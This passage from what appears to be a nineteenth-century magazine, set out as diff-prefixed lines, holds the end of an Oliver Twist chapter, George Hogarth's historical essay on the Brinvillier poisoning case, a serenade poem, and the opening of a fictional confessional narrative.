+Weak with recent illness, stupified by the blows and the suddenness
+of the attack, terrified by the fierce growling of the dog and the
+brutality of the man, and overpowered by the conviction of the
+bystanders that he was really the hardened little wretch he was
+described to be, what could one poor child do? Darkness had set in; it
+was a low neighbourhood; no help was near; resistance was useless. In
+another moment he was dragged into a labyrinth of dark, narrow courts,
+and forced along them at a pace which rendered the few cries he dared
+to give utterance to, wholly unintelligible. It was of little moment,
+indeed, whether they were intelligible or not, for there was nobody to
+care for them had they been ever so plain.
+
+       *       *       *       *       *
+
+The gas-lamps were lighted; Mrs. Bedwin was waiting anxiously at the
+open door; the servant had run up the street twenty times, to see if
+there were any traces of Oliver; and still the two old gentlemen sat
+perseveringly in the dark parlour, with the watch between them.
+
+
+
+
+THE POISONERS OF THE SEVENTEENTH CENTURY.
+
+BY GEORGE HOGARTH.
+
+
+There are few things in the history of mankind more extraordinary
+than the frightful extent to which the crime of secret poisoning was
+carried, in several countries of Europe, during a large portion of the
+seventeenth century. It appears to have taken its rise in Italy, where
+it prevailed to a degree that is almost incredible. The instrument
+chiefly used in its perpetration was a liquid called _aqua tofana_,
+from the name of Tofania, its inventor, a woman who has acquired an
+infamous celebrity. According to the account of Hoffmann, the famous
+physician, this woman confessed that she had used this liquid in
+poisoning above six hundred persons; and Gmelin says that more people
+were destroyed by it than by the plague, which had raged for some
+time before it came into use. This crime also prevailed, though for a
+shorter time and to a smaller extent, in France; and was far from being
+unknown in England. We intend to give our readers such information
+as we have collected on this curious subject; and though the most
+regular way might be to begin with the Signora Tofania herself, and
+the diffusion of her practices in her own country, we prefer giving
+at present the history of the most eminent of her followers, the
+Marchioness de Brinvillier, whose atrocities created so much excitement
+in France in the time of Louis the Fourteenth, as we shall thus be
+enabled at once to place the matter in its most striking light. We
+have consulted, we believe, most of the French works in which there
+are any particulars respecting this lady; and our readers may take the
+following as a faithful account of her life.
+
+Marie-Marguerite d'Aubray was the daughter of M. d'Aubray, a gentleman
+who held a considerable judicial office in Paris. In 1651 she married
+the Marquis de Brinvillier. The match was a suitable one, both in
+respect to station and property. The marquis had estates of thirty
+thousand livres a-year; and his wife, who had two brothers and a
+sister, brought him a fortune of two hundred thousand livres, with
+the prospect of a considerable share of her father's inheritance. The
+marchioness enjoyed the gifts of nature as well as of fortune. Her
+figure was not remarkably handsome, but her face was round and pretty,
+with a serene and quiet expression; and she had an air of innocence,
+simplicity, and good-nature which gained the confidence of everybody
+who had any intercourse with her.
+
+The Marquis de Brinvillier was colonel of a regiment of foot. While on
+service, he had contracted an intimacy with a gentleman of the name
+of St. Croix, a captain of cavalry. There was some mystery about this
+man's birth. It was known that he was from Montauban. Some thought him
+an illegitimate scion of a noble house; others said he belonged to a
+respectable family; but all agreed that he was totally destitute of the
+gifts of fortune.
+
+The part which this personage acted in the occurrences of which we are
+about to give a sketch, makes it worth while to repeat the description
+of him contained in some of the memoirs of the time. His countenance
+was handsome and intelligent; he was remarkably courteous and obliging,
+and entered into any benevolent or pious proposal with the same
+alacrity with which he agreed to commit a crime. He was vindictive,
+susceptible of love, and jealous to madness. His extravagance was
+unbounded, and, being unsupported by any regular income, led him into
+every sort of wickedness. Some years before his death, he assumed
+an appearance of devotion, and it is said even wrote some tracts on
+religious subjects.
+
+The Marquis de Brinvillier was much addicted to pleasure. St. Croix
+got into his good graces, and was introduced into his house. At first
+he was only the husband's friend, but presently he became the wife's
+lover; and their attachment became mutual. The dissipation of the
+marquis's life prevented him from observing his wife's conduct, so
+that the pair carried on a guilty commerce without any suspicion on
+his part. His affairs became so disordered, that his wife succeeded,
+on this ground, in obtaining a separation, and after this paid no
+respect to decency or concealment in her connexion with her paramour.
+Scandalous, however, as her conduct was, it made no impression on the
+mind of the marquis, whose apathy induced the marchioness's father,
+M. d'Aubray, to use his paternal authority. He obtained a _lettre de
+cachet_ against St. Croix, who was arrested one day when he was in a
+carriage with the marchioness, and carried to the Bastile, where he
+remained for a year.
+
+Absence, far from abating the marchioness's passion, only inflamed
+it; and the constraint to which she found it necessary to subject
+herself in order to prevent a second separation, inflamed it still
+more. She conducted herself, however, with such apparent propriety,
+that she regained her father's favour, and even his confidence. St.
+Croix availed himself of the power which love had given him over his
+mistress to root out every good principle or feeling from her mind.
+Under his horrid lessons she became a monster, whose atrocities, we
+hope and believe, have hardly ever been paralleled. He resolved to take
+a dreadful revenge on the family of d'Aubray, and at the same time to
+get his whole property into the possession of the marchioness, that
+they might spend it together in guilty pleasures.
+
+While St. Croix was in the Bastile, he had formed an acquaintance with
+an Italian of the name of Exili, to whom he communicated his views.
+Exili excited him to vengeance, and taught him the way to obtain it
+with impunity. Poisoning may be called, _par excellence_, an Italian
+art. With many fine qualities, vindictiveness and subtlety must be
+acknowledged to be strong features in the character of that people; and
+hence their early superiority in this art of taking the most deadly,
+and at the same time the safest, revenge on their enemies. It appears,
+accordingly, (as we have already said,) that it was from the Italians
+that the poisoners of other countries derived their skill. They
+acquired the art of composing poisons so disguised in their appearance
+and subtle in their effects, that they baffled the penetration and art
+of the physicians of that age. Some were slow, and consumed the vitals
+of the victim by almost imperceptible degrees; others were sudden and
+violent in their action; but few of them left any traces of their real
+nature, for the symptoms they produced were generally so equivocal,
+that they might be ascribed to many ordinary diseases. St. Croix
+greedily devoured the instructions of his fellow-prisoner, and left
+the Bastile prepared to exercise his infernal art.
+
+His first object of vengeance was M. d'Aubray himself; and he soon
+found means to persuade the daughter to become the agent in the
+destruction of her father. The old gentleman had a house in the
+country, where he used to spend his vacations. All his fondness for his
+daughter, whom he now believed to have been "more sinned against than
+sinning," had returned; and she, on her part, behaved to him with an
+appearance of affectionate duty. She anxiously attended to his every
+comfort; and, as his health had suffered from the fatigues of his
+office, she employed herself in superintending the preparation of nice
+and nourishing broths, which she gave him herself with every appearance
+of tender care. It is needless to say that these aliments contained
+some articles of Italian cookery; and the wretch, as she sat by his
+bed-side, witnessing his sufferings and listening to his groans, shed
+abundance of crocodile tears, while she eagerly administered to him
+remedies calculated to insure the accomplishment of her object. But
+neither the agonies of the poor old man, nor his touching expressions
+of love and gratitude to the fiend at his side, could turn her for a
+moment from her fell purpose. He was carried back to Paris, where in a
+few days he sunk under the effects of the poison.
+
+No suspicion was entertained of the cause of his death; the idea of
+such a crime could not even have entered into the imagination of any
+one. No external symptoms appeared, and the expedient of opening the
+body was never thought of. The friends of the family were desirous only
+of pitying and comforting them; and the inconsolable daughter, who had
+tended her father with such filial piety, had the largest share of
+sympathy. She returned as soon as possible to the arms of her paramour,
+and made up for the restraint imposed on her during her father's life
+by spending the money she had inherited by his death in undisguised
+profligacy.
+
+It afterwards appeared that this abandoned woman had made sure of
+the efficacy of her drugs by a variety of experiments, not only upon
+animals, but on human beings. She was in the habit of distributing to
+the poor poisoned biscuits, prepared by herself, the effect of which
+she found means to learn without committing herself. But this was not
+enough: she desired to be an eye-witness of the progress and symptoms
+of the effects produced by the poison; and for this purpose made the
+experiment on Françoise Roussel, her maid, to whom she gave, by way of
+treat, a plate of gooseberries and a slice of ham. The poor girl was
+very ill, but recovered; and this was a lesson to St. Croix to make his
+doses stronger.
+
+Madame de Sevigné, in one of her letters, written at a time when the
+public attention was engrossed by this strange affair, says, "La
+Brinvillier used to poison pigeon-pies, which caused the death of many
+people whom she had no intention of destroying. The Chevalier du Guet
+was at one of these pretty dinners, and died of it two or three years
+ago. When in prison, she asked if he was dead, and was told he was not.
+'His life must be very tough, then,' said she. M. de la Rochefoucauld
+declares that this is perfectly true."
+
+M. d'Aubray's inheritance was not so beneficial to his infamous
+daughter as she had expected. The best part of his property went to
+his son, M. d'Aubray, who succeeded to his father's office, and another
+brother a counsellor. It was necessary, therefore, to put them out of
+the way also; and this task St. Croix, thinking his accomplice had done
+enough for his purposes, took upon himself.
+
+He had a villain at his devotion of the name of La Chaussée. This man
+had been in his service, and he knew him to be a fit agent in any
+atrocity. The marchioness got La Chaussée a place as servant to the
+counsellor, who lived with his brother the magistrate, taking great
+care to conceal from them that he had ever been in the service of
+St. Croix. La Chaussée's employers promised him a hundred pistoles
+and an annuity for life if he succeeded in causing the death of the
+magistrate, who was their first object of attack. His anxiety to do
+his business promptly made him fail in his first attempt. He gave the
+magistrate a glass of poisoned wine and water; but the dose was too
+strong: and no sooner had the magistrate put his lips to the glass,
+than he cried, "Ah, you scoundrel, what is this you have given me?--do
+you want to poison me?" He showed the liquid to his secretary, who,
+having examined it in a spoon, said it was bitter, and had a smell
+of vitriol. La Chaussée did not lose countenance, but, without any
+appearance of confusion, took the glass and poured out the liquor,
+saying that the younger M. d'Aubray's valet had taken some medicine
+in this glass, which had produced the bitter taste. He got off with a
+reprimand for his carelessness, and the matter was no more thought of.
+
+This narrow escape from a discovery did not deter the murderers from
+prosecuting their design; but they took more effectual measures for its
+success, not caring though they should sacrifice by the same blow a
+number of people with whom they had no concern.
+
+In the beginning of April 1670, the magistrate went to pass the Easter
+holidays at his house in the country. His brother the counsellor was of
+the party, and was attended by La Chaussée. One day at dinner there was
+a giblet-pie. Seven persons who eat of it became very ill, while those
+who had not partaken of it suffered no uneasiness. The two brothers
+were among the former, and had violent fits of vomiting. They returned
+to Paris a few days afterwards, having the appearance of persons who
+had undergone a long and violent illness.
+
+St. Croix availed himself of this state of things to make sure of the
+fruit of his crimes. He obtained from the marchioness two promissory
+deeds, one for thirty thousand livres in his own name, and another
+for twenty-five thousand livres in the name of Martin, one of his
+familiars. The sum at first sight appears a small one, amounting only
+to about two thousand three hundred pounds sterling; but the immense
+difference in the value of money since the seventeenth century must be
+taken into account. Such, however, at all events, was the price paid by
+this demon for the death of her two brothers.
+
+Meanwhile the elder d'Aubray became worse and worse; he could take no
+sustenance, and vomited incessantly. The three last days of his life
+he felt a fire in his stomach, which seemed to be consuming its very
+substance. At length he expired on the 17th of June 1670. On being
+opened, his stomach and _duodenum_ were black, and falling to pieces,
+as if they had been put on a large fire; and the liver was burnt up
+and gangrened. It was evident that he had been poisoned: but on whom
+could suspicion fall?--there was no clue whatever to guide it. The
+marchioness had gone to the country. St. Croix wrote her that the
+magistrate was dead, and that, from his brother's situation, he must
+soon follow. It so turned out. The unfortunate counsellor died, after
+having lingered three months in excruciating torments; and he was so
+far from suspecting La Chaussée of any hand in his death, that he left
+him a legacy of three hundred livres, which was paid.
+
+These three murders were still insufficient. There was yet a sister who
+kept from the marchioness the half of the successions which she wished
+to gain by the death of her father and brothers. The sister's life was
+repeatedly attempted in the same way; but the shocking occurrences in
+her family had made her suspicious, and her precautions preserved her.
+
+The poor Marquis de Brinvillier was intended by his fury of a wife
+for her next victim. "Madame de Brinvillier," says Madame de Sevigné
+in another of her letters, "wanted to marry St. Croix, and for that
+purpose poisoned her husband repeatedly. But St. Croix, who had
+no desire to have a wife as wicked as himself, gave the poor man
+antidotes; so that, having been tossed backward and forward in this
+way, sometimes poisoned, and sometimes _un_poisoned, (_désempoisonné_),
+he has, after all, got off with his life."
+
+Though everybody was convinced that the father and his two sons had
+been poisoned, yet nothing but very vague suspicions were entertained
+as to the perpetrators of the crime. Nobody thought of St. Croix as
+having had anything to do with it. He had for a long time ceased, to
+all appearance, to have any connexion with Madame de Brinvillier; and
+La Chaussée, the immediate agent, had played his part so well, that he
+was never suspected.
+
+At last the horrible mystery was discovered. St. Croix continued to
+practise the art which had been so useful to him; and, as the poisons
+he made were so subtle as to be fatal even by respiration, he used to
+intercept their exhalations while compounding them by a glass mask
+over his face. One day the mask by accident dropped off, and he fell
+dead on the spot; "a death," says the French writer who mentions this
+occurrence, "much too good for a monster who had inflicted it by long
+and agonizing pangs on so many valuable citizens."[11] Having no
+relations that were known, his repositories were sealed up by the
+public authorities. When they were opened and examined, the first thing
+which was found was a casket, in which was a paper in the following
+terms:
+
+"I earnestly request those into whose hands this casket may fall,
+to deliver it into the hands of Madame la Marquise de Brinvillier,
+residing in the Rue Neuve St. Paul, seeing that all that it contains
+concerns and belongs to her only, and that it can be of no use to
+any person in the world except herself; and, in case of her being
+dead before me, to burn it, and all that it contains, without opening
+or meddling with anything. And should any one contravene these my
+intentions on this subject, which are just and reasonable, I lay the
+consequences on their head, both in this world and the next; protesting
+that this is my last will. Done at Paris this 25th May, afternoon,
+1672. (Signed) De Sainte Croix."
+
+The casket contained a number of parcels carefully sealed up, and
+some phials containing liquids. The parcels were found to contain a
+variety of drugs, which, having been submitted to the examination of
+physicians, were found to be most subtle and deadly poisons. This was
+ascertained by many experiments made upon pigeons, dogs, cats, and
+other animals, all which were detailed in a formal report made on the
+subject. It is stated in that report that no traces of the action of
+the poison, either external or internal, appeared on the bodies of the
+animals which had perished by it, and that it was impossible to detect
+its existence by any chemical tests. It would appear, therefore, that
+St. Croix had by his studies greatly increased in skill since the
+deaths of the d'Aubray family. The poisons administered to them were of
+a comparatively coarse and ordinary kind; they burnt up the stomach and
+bowels, produced horrid torment, and left unequivocal marks of their
+operation when any suspicion caused these marks to be sought for. But,
+with the skill subsequently acquired, this hateful pair might have
+destroyed thousands of their fellow-creatures with absolute impunity.
+It is impossible to suppose that St. Croix could have been constantly
+engaged, for a long series of years, in the composition of these secret
+instruments of death without making use of them; and there is no saying
+to what extent his work of destruction may have been carried.
+
+The same casket contained ample evidence of the marchioness's share
+in these transactions. There were a number of letters from her to St.
+Croix, and the deed of promise which she had executed in his favour for
+thirty thousand livres.
+
+When the marchioness heard that St. Croix was dead, and that his
+repositories had been sealed up, she showed the utmost anxiety to get
+possession of the casket. At ten o'clock at night she came to the house
+of the commissary who had affixed and taken off the seals, and desired
+to speak with him. Being told by his clerk that he was asleep, she said
+she had come to inquire about a casket which belonged to her, and which
+she wished to get back, and would return next day. When she came back,
+she was told that the casket could not be given up to her. Thinking it
+high time, therefore, to take care of herself, she went off during the
+following night, and took refuge in Liege; leaving, however, a power to
+an attorney to appear for her and contest the validity of the promise
+she had given to St. Croix. La Chaussée, too, had the impudence to put
+in a claim to certain sums of money, which, as he pretended, belonged
+to him, and which were deposited, in places which he mentioned, in St.
+Croix's study. This proved that La Chaussée was acquainted with the
+localities of a place into which it was to be presumed that St. Croix
+admitted none but his confidants and confederates; and La Chaussée was
+arrested on suspicion, which was greatly strengthened by the confusion
+he betrayed when informed of the discoveries made at the removal of the
+seals.
+
+A judicial inquiry was now set on foot, and many witnesses examined.
+Among others, Anne Huet, an apothecary's daughter, who was a sort of
+servant of the marchioness, deposed, that one day, when the marchioness
+was intoxicated, she had the imprudence to show the witness a little
+box which she took out of a casket, and which, she said, contained the
+means of getting rid of her enemies, and acquiring good inheritances.
+Mademoiselle Huet saw that the box contained sublimate of mercury
+in powder and in paste. Afterwards, when the fumes of the wine had
+evaporated, the witness told the marchioness what she had said. "Oh,"
+she said, "I was talking nonsense;" but at the same time she earnestly
+begged her not to repeat what she had heard. The marchioness (this
+witness added) was in the habit, when anything chagrined her, to say
+she would poison herself. She said there were many ways of getting
+rid of people when they stood in one's way,--a bowl of broth was as
+good as a pistol-bullet. The girl added, that she had often seen La
+Chaussée with Madame de Brinvillier, who chatted familiarly with him;
+and that she had heard the marchioness say, "He is a good lad, and has
+been very serviceable to me." Mademoiselle Villeray, another witness,
+declared that she had seen La Chaussée on a very familiar footing with
+Madame de Brinvillier; that she had seen them alone together since
+the death of the magistrate; that, two days after the death of the
+counsellor, she made La Chaussée hide himself behind the bed-curtains
+when the magistrate's secretary came to see her. La Chaussée himself,
+on his examination, admitted this fact. Other persons related that La
+Chaussée, when he was asked how his master was during his illness, used
+to say, "Oh, he lingers on, the----!" adding a coarse epithet; "he
+gives us a deal of trouble. I wonder when he will kick the bucket."
+
+On the 4th of March 1673, the court of La Tournelle pronounced a
+sentence, whereby La Chaussée was convicted of having poisoned the
+magistrate and the counsellor, and condemned to be broke alive
+upon the wheel, after having been put to the question ordinary and
+extraordinary, to discover his accomplices; and the Marchioness de
+Brinvillier was condemned, by default, to be beheaded. Under the
+torture, La Chaussée confessed his crimes, and gave a full account of
+all the transactions we have related, in so far as he was connected
+with them. He was executed in the Place de Grêve, according to his
+sentence.
+
+Desgrais, an officer of the Marechaussée, was sent to Liege to arrest
+the marchioness. He was provided with an escort, and a letter from the
+king to the municipality of that city, requesting that the criminal
+might be delivered up. Desgrais was permitted to arrest her and carry
+her to France.
+
+She had retired to a convent, a sanctuary in which Desgrais durst
+not attempt to seize her; he therefore had recourse to stratagem.
+Disguising himself in an ecclesiastical habit, he paid her a visit,
+pretending that, being a Frenchman, he could not think of passing
+through Liege without seeing a lady so celebrated for her beauty and
+misfortunes. He even went so far as to play the gallant, and his
+amorous advances were as well received as he could desire. He persuaded
+the lady to take a walk with him; but they had no sooner got into the
+fields than the lover transformed himself into a police-officer. He
+arrested the lady, and put her into the hands of his followers, whom he
+had placed in ambush near the spot; and then, having obtained an order
+from the authorities to that effect, he made a search in her apartment.
+Under her bed he found a casket, which she vehemently insisted on
+having returned to her, but without effect. She then tried to bribe one
+of the officer's men, who pretended to listen to her, and betrayed her.
+During her retreat she had carried on an intrigue with a person of the
+name of Theria. To him she wrote a letter, (which she intrusted to her
+confidant,) beseeching him to come with all haste and rescue her from
+the hands of Desgrais. In a second letter she told him that the escort
+consisted only of eight persons, who could easily be beaten by five. In
+a third, she wrote to "her dear Theria," that if he could not deliver
+her by open force, he might at least kill two out of the four horses
+of the carriage in which she was, and thus, at least, get possession
+of the casket, and throw it into the fire; otherwise she was lost.
+Though Theria, of course, received none of his _chère amie_'s letters,
+yet he went of his own accord to Maestricht, through which she was
+to pass, and tried to corrupt the officers by an offer of a thousand
+pistoles, if they would let her escape; but they were immovable. All
+her resources being thus exhausted, she attempted to kill herself by
+swallowing a pin; but it was taken from her by one of her guards.
+
+Among the proofs against her, that which alarmed her the most was a
+written confession containing a narrative of her life, kept by her in
+the casket which she made such desperate efforts to recover. No wonder
+she was now horrified at what she had thus committed to paper. In the
+first article she declared herself an incendiary, confessing that
+she had set fire to a house. Madame Sevigné, speaking of this paper,
+says, "Madame de Brinvillier tells us, in her confession, that she was
+debauched at seven years old, and has led an abandoned life ever since;
+that she poisoned her father, her brothers, and one of her children;
+nay, that she poisoned herself, to try the effect of an antidote. Medea
+herself did not do so much. She has acknowledged this confession to be
+of her writing,--a great blunder; but she says she was in a high fever
+when she wrote it,--that it is mere frenzy,--a piece of extravagance
+which no one can read seriously." In a subsequent letter, Madame de
+Sevigné adds, "Nothing is talked of but the sayings and doings of
+Madame de Brinvillier. She says in her confession that she has murdered
+her father;--she was afraid, no doubt, that she might forget to accuse
+herself of it. The peccadilloes which she is afraid of forgetting are
+admirable!"
+
+The proceedings of her trial are fully reported in the _Causes
+Célèbres_. She found an able advocate in the person of M. Nivelle,
+whose pleading in her behalf is exceedingly learned and ingenious.
+He laboured hard to get rid of the confession; maintaining that this
+paper was of the same nature as a confession made under the seal of
+secrecy to a priest; and cited a number of precedents to show that
+circumstances thus brought to light cannot be used in a criminal
+prosecution. Her confused, evasive, and contradictory answers to
+the questions put to her on her interrogatory by the court,--a very
+objectionable step, by the way, of French criminal procedure,--were
+considered as filling up the measure of evidence against her; though,
+in this case, it was sufficiently ample without the aid either of her
+confession or examinations before the judges. The _corpus delicti_ (in
+the language of the law) was certain. The deaths of her two brothers by
+poison were proved by the evidence of several medical persons; and the
+testimony of other witnesses established the commission of these crimes
+by St. Croix and her, through the instrumentality of La Chaussée.
+
+At length, by a sentence of the supreme criminal court of Paris, on the
+16th of July 1676, Madame de Brinvillier was convicted of the murder
+of her father and her two brothers, and of having attempted the life
+of her sister, and condemned to make the _amende honorable_ before the
+door of the principal church of Paris, whither she was to be drawn in
+a hurdle, with her feet bare, a rope about her neck, and carrying a
+burning torch in her hands; from thence to be taken to the Place de
+Grêve, her head severed from her body on a scaffold, her body burnt,
+and her ashes thrown to the wind; after having been, in the first
+place, put to the question ordinary and extraordinary, to discover her
+accomplices.
+
+Though she had denied her crimes as long as she had any hope of escape,
+she confessed everything after condemnation. During the latter days
+of her life, she was the sole object of public curiosity. An immense
+multitude assembled to see her execution, and every window on her
+way to the Place de Grêve was crowded with spectators. Lebrun, the
+celebrated painter, placed himself in a convenient situation for
+observing her, in order, probably, to make a study for his "Passions."
+Among the spectators were many ladies of distinction, to some of whom,
+who had got very near her, she said, looking them firmly in the face,
+and with a sarcastic smile, "A very pretty sight you are come to see!"
+
+Madame de Sevigné gives an account of this execution the day it took
+place, in a tone of levity which is not a little offensive, and
+unbecoming a lady of her unquestionable elegance and refinement.
+"Well!" she says, "it is all over, and La Brinvillier is in the
+air. Her poor little body was thrown into a large fire, and her
+ashes scattered to the winds; so that we breathe her, and there is
+no saying but this communication of particles may produce among us
+some poisoning propensities which may surprise us. She was condemned
+yesterday. This morning her sentence was read to her, and she was
+shown the rack; but she said there was no occasion for it, for she
+would tell everything. Accordingly she continued till four o'clock
+giving a history of her life, which is even more frightful than people
+supposed. She poisoned her father ten times successively before she
+could accomplish her object; then her brothers; and her revelations
+were full of love affairs and pieces of scandal. She asked to speak
+with the procureur-général, and was an hour with him; but the subject
+of their conversation is not known. At six o'clock she was taken in
+her shift, and with a rope round her neck, to Nôtre Dame, to make the
+_amende honorable_. She was then replaced in the hurdle, in which I
+saw her drawn backwards, with a confessor on one side and the hangman
+on the other. It really made me shudder. Those who saw the execution
+say she ascended the scaffold with a great deal of courage. Never was
+such a crowd seen, nor such excitement and curiosity in Paris." In
+another letter the fair writer says, "A word more about La Brinvillier.
+She died as she lived, that is boldly. When she went into the place
+where she was to undergo the question, and saw three buckets of water,
+'They surely are going to drown me,' she said; 'for they can't imagine
+that I am going to drink all this.' She heard her sentence with great
+composure. When the reading was nearly finished, she desired it to be
+repeated, saying, 'The hurdle struck me at first, and prevented my
+attending to the rest.' On her way to execution she asked her confessor
+to get the executioner placed before her, 'that I may not see that
+scoundrel Desgrais,' she said, 'who caught me.' Her confessor reproved
+her for this sentiment, and she said, 'Ah, my God! I beg your pardon.
+Let me continue, then, to enjoy this agreeable sight.' She ascended the
+scaffold alone and barefooted, and was nearly a quarter of an hour in
+being trimmed and adjusted for the block by the executioner; a piece of
+great cruelty which was loudly murmured against. Next day persons were
+seeking for her bones, for there was a belief among the people that she
+was a saint. She had two confessors, she said; one of whom enjoined
+her to tell everything, and the other said it was not necessary. She
+laughed at this difference of opinion, and said, 'Very well, I am at
+liberty to do as I please.' She did not please to say anything about
+her accomplices. Penautier will come out whiter than snow. The public
+is by no means satisfied."
+
+This Penautier was a man of wealth and station, holding the office
+of treasurer of the province of Languedoc and of the clergy. He was
+discovered to have been intimately connected with St. Croix and Madame
+de Brinvillier, and strongly suspected of having been a participator
+in their crimes. He was accused by the widow of M. de Saint Laurent,
+receiver-general of the clergy, of having employed St. Croix to poison
+her husband, in order to obtain his place, and of having accomplished
+this object by means of a valet whom St. Croix had got into her
+husband's service. Penautier was put in prison; but Madame de Sevigné
+says that the investigation was stifled by the influence of powerful
+protectors, among whom were the Archbishop of Paris and the celebrated
+Colbert. In one of her letters she says, "Penautier is fortunate; never
+was a man so well protected. He will get out of this business, but
+without being justified in the eyes of the world. Extraordinary things
+have transpired in the course of this investigation; but they cannot
+be mentioned." He was released, resumed the exercise of his offices,
+and lived in his former splendour. The first people had no objection
+to enjoy his luxurious table; but his character with the public was
+irrecoverably gone. Cardinal de Bonzy, who had to pay some annuities
+with which his archbishopric of Narbonne was burdened, survived all
+the annuitants, and said that, thanks to his star! he had buried them.
+Madame de Sevigné, seeing him one day in his carriage with Penautier,
+said to a friend, "There goes the Archbishop of Narbonne with _his
+star_!"
+
+The Marquis of Brinvillier is never mentioned in the course of the
+proceedings in this extraordinary case, and there are no traces of his
+subsequent life. Madame de Sevigné says that he petitioned for the life
+of his _chère moitié_. Wretched as he must have been, he is the less
+entitled to sympathy because his own dissolute character contributed to
+bring his misfortunes upon himself. He probably spent his latter days
+in the deepest retirement, hiding himself from the world, as the bearer
+of a name indissolubly associated with crime and infamy.
+
+       *       *       *       *       *
+
+(_This paper will be followed, in our next number, by another on the
+same subject._)
+
+FOOTNOTE:
+
+[Footnote 11: This incident has suggested to Sir Walter Scott the
+catastrophe of the diabolical Alasco, in _Kenilworth_:
+
+"The old woman assured Varney that Alasco had scarce eaten or drunk
+since her master's departure, living perpetually shut up in the
+laboratory, and talking as if the world's continuance depended on what
+he was doing there.
+
+"'I will teach him that the world hath other claims on him,' said
+Varney, seizing a light and going in search of the alchemist. He
+returned, after a considerable absence, very pale, but yet with his
+habitual sneer on his cheek and nostril. 'Our friend,' he said, 'has
+exhaled.'
+
+"'How! what mean you?' said Foster; 'run away--fled with my forty
+pounds, that should have been multiplied a thousand fold? I will have
+Hue and Cry!'
+
+"'I will tell thee a surer way,' said Varney.
+
+"'How! which way?' exclaimed Foster. 'I will have back my forty
+pounds--I deemed them as surely a thousand pounds multiplied--I will
+have back my in-put at the least.'
+
+"'Go hang thyself, then, and sue Alasco in the devil's court of
+Chancery, for thither he has carried the cause.'
+
+"'How!--what dost thou mean?--is he dead?'
+
+"'Ay, truly is he,' said Varney, 'and properly swollen already in the
+face and body. He had been mixing some of his devil's medicines, and
+the glass mask, which he used constantly, had fallen from his face, so
+that the subtle poison entered the brain and did its work.'
+
+"'_Sancta Maria!_' said Foster; 'I mean, God in his mercy preserve us
+from covetousness and deadly sin!'"]
+
+
+
+
+SERENADE TO FRANCESCA.
+
+            "Quei trasporti soavi
+    Ch'io provai nell' amore nascente!"
+
+
+                   I.
+
+    Under your casement, lady dear!
+    A voice, that has slumber'd for many a year,
+    Is waking to know if the same heart-vow
+    That bound us erewhile doth bind us now.
+      Waken! my early--only love!
+      And be to my bosom its still sweet dove!
+
+                   II.
+
+    Under your casement, lady bright!
+    The bird that you charm'd with your beauty's light
+    Is singing again to his one loved flower,
+    As often he sang in a happier hour!
+      Waken! my early--only love!
+      And be to my bosom its gentle dove!
+
+                   III.
+
+    Under your casement, lady fair!
+    The heart that you often have vow'd to share
+    Is beating to know if it still remain,
+    A prisoner of heaven, in your dear chain!
+      Waken! my early--only love!
+      And be to my bosom its first sweet dove!
+
+                                            W.
+
+
+
+
+THE NARRATIVE OF JOHN WARD GIBSON.
+
+
+CHAPTER I.
+
+As I do not intend that any human being shall read this narrative
+until after my decease, I feel no desire to suppress or to falsify
+any occurrence or event of my life, which I may at the moment deem of
+sufficient importance to communicate. I am aware how common a feeling,
+even amongst those who have committed the most atrocious crimes,
+this dread of entailing obloquy upon their memories is; but I cannot
+say that I participate in it. Perhaps I wish to offer some atonement
+to society for my many and grievous misdeeds; and, it may be, the
+disclosures I am about to make will be considered an insufficient
+expiation. I cannot help this, now. There is One from whom no secrets
+are hid, by whom I am already judged.
+
+I regret that I did not execute this wretched task long ago. Should I
+live to complete it, I shall hold out longer than I expect; for I was
+never ready at my pen, and words sometimes will not come at my bidding.
+Besides, so many years have elapsed since the chief events I am about
+to relate took place, that even _they_ no longer come before me with
+that distinctness which they did formerly. They do not torture me now,
+as of old times. The caustic has almost burnt them out of my soul. I
+will, however, give a plain, and, as nearly as I am able, a faithful
+statement. I will offer no palliation of my offences, which I do not
+from my soul believe should be extended to me.
+
+I was born on the 23rd of October 1787. My father was a watch-case
+maker, and resided in a street in the parish of Clerkenwell. I went a
+few months ago to look at the house, but it was taken down; indeed,
+the neighbourhood had undergone an entire change. I, too, was somewhat
+altered since then. I wondered at the time which of the two was the
+more so.
+
+My earliest recollection recalls two rooms on a second floor, meanly
+furnished; my father, a tall, dark man, with a harsh unpleasing voice;
+and my mother, the same gentle, quiet being whom I afterwards knew her.
+
+My father was a man who could, and sometimes did, earn what people
+in his station of life call a great deal of money; and yet he was
+constantly in debt, and frequently without the means of subsistence.
+The cause of this, I need hardly say, was his addiction to drinking.
+Naturally of a violent and brutal temper, intoxication inflamed
+his evil passions to a pitch--not of madness, for he had not that
+excuse--but of frenzy. It is well known that gentleness and forbearance
+do not allay, but stimulate a nature like this; and scenes of violence
+and unmanly outrage are almost the sole reminiscences of my childhood.
+Perhaps, the circumstance of my having been a sufferer in one of these
+ebullitions, served to impress them more strongly upon my mind.
+
+One evening I had been permitted to sit up to supper. My father had
+recently made promises of amendment, and had given an earnest of his
+intention by keeping tolerably sober during three entire days; and
+upon this festive occasion,--for it was the anniversary of my mother's
+marriage,--he had engaged to come home the instant he quitted his work.
+He returned, however, about one o'clock in the morning, and in his
+accustomed state. The very preparations for his comfort, which he saw
+upon the table, served as fuel to his savage and intractable passions.
+It was in vain that my mother endeavoured to soothe and to pacify him.
+He seized a stool on which I was accustomed to sit, and levelled a blow
+at her. She either evaded it, or the aim was not rightly directed, for
+the stool descended upon my head, and fractured my skull.
+
+The doctor said it was a miracle that I recovered; and indeed it was
+many months before I did so. The unfeeling repulse I experienced from
+my father when, on the first occasion of my leaving my bed, I tottered
+towards him, I can never forget. It is impossible to describe the
+mingled terror and hatred which entered my bosom at that moment, and
+which never departed from it. It may appear incredible to some that a
+child so young could conceive so intense a loathing against its own
+parent. It is true, nevertheless; and, as I grew, it strengthened.
+
+I will not dwell upon this wretched period of my life; for even to me,
+at this moment, and after all that I have done and suffered, the memory
+of that time is wretchedness.
+
+One night, about two years afterwards, my father was brought home on a
+shutter by two watchmen. He had fallen into the New River on his return
+from a public-house in the vicinity of Sadler's Wells Theatre, and was
+dragged out just in time to preserve for the present a worthless and
+degraded life. A violent cold supervened, which settled upon his lungs;
+and, in about a month, the doctor informed my mother that her husband
+was in a rapid decline. The six months that ensued were miserable
+enough. My mother was out all day, toiling for the means of subsistence
+for a man who was not only ungrateful for her attentions, but who
+repelled them with the coarsest abuse.
+
+I was glad when he died, nor am I ashamed to avow it; and I almost felt
+contempt for my mother when the poor creature threw herself upon the
+body in a paroxysm of grief, calling it by those endearing names which
+indicated a love he had neither requited nor deserved. Had I been so
+blest as to have met with one to love me as that woman loved my father,
+I had been a different, and a better, and, perhaps, a good man!
+
